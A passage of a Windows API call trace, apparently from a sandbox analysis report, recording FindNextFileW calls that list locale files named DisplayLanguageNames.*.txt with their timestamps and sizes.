ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_UY.txt", cAlternateFileName="DIC7CE~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_VE.txt", cAlternateFileName="DIACC3~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es__TRADITIONAL.txt", cAlternateFileName="DI8400~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.et.txt", cAlternateFileName="DIED82~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.et_EE.txt", cAlternateFileName="DI9AE7~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi.txt", cAlternateFileName="DIC325~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi_FI.txt", cAlternateFileName="DI7250~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi_FI_PREEURO.txt", cAlternateFileName="DI4571~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_CA.txt", cAlternateFileName="DI603C~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_FR.txt", cAlternateFileName="DIC6EF~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f44, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_FR_PREEURO.txt", cAlternateFileName="DIFF6A~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f341800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x67c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.he.txt", cAlternateFileName="DI503B~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f341800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x67c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.he_IL.txt", cAlternateFileName="DI97E6~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hr.txt", cAlternateFileName="DI4B74~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hr_HR.txt", cAlternateFileName="DI0D1D~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hu.txt", cAlternateFileName="DIB428~1.TXT")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hu_HU.txt", cAlternateFileName="DI4400~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it.txt", cAlternateFileName="DIABB3~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_CH.txt", cAlternateFileName="DIFC7F~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_IT.txt", cAlternateFileName="DI5DFF~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_IT_PREEURO.txt", cAlternateFileName="DI988F~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x656a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja.txt", cAlternateFileName="DI0CF7~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x656a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja_JP.txt", cAlternateFileName="DI3A02~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6594, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cAlternateFileName="DI1663~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x626a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ko.txt", cAlternateFileName="DI1265~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x626a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ko_KR.txt", cAlternateFileName="DI9E0C~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lt.txt", cAlternateFileName="DIA1C2~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bea, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lt_LT.txt", cAlternateFileName="DI6CC8~1.TXT")) returned 1 [0237.342] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lv.txt", cAlternateFileName="DI4C2B~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.lv_LV.txt", cAlternateFileName="DI7CF0~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nb.txt", cAlternateFileName="DI74F4~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nb_NO.txt", cAlternateFileName="DI7EFB~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl.txt", cAlternateFileName="DIDFDB~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_BE.txt", cAlternateFileName="DI6018~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_BE_PREEURO.txt", cAlternateFileName="DIB2C6~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_NL.txt", cAlternateFileName="DI742E~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nl_NL_PREEURO.txt", cAlternateFileName="DI3524~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.nn_NO.txt", cAlternateFileName="DIF7B3~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pl.txt", cAlternateFileName="DI69EF~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pl_PL.txt", cAlternateFileName="DI4ABE~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_BR.txt", cAlternateFileName="DIC9A4~1.TXT")) returned 1 [0237.343] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_PT.txt", cAlternateFileName="DI7FB1~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.pt_PT_PREEURO.txt", cAlternateFileName="DIB661~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ro.txt", cAlternateFileName="DI0257~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ba2, dwReserved0=0x0, dwReserved1=0x0, 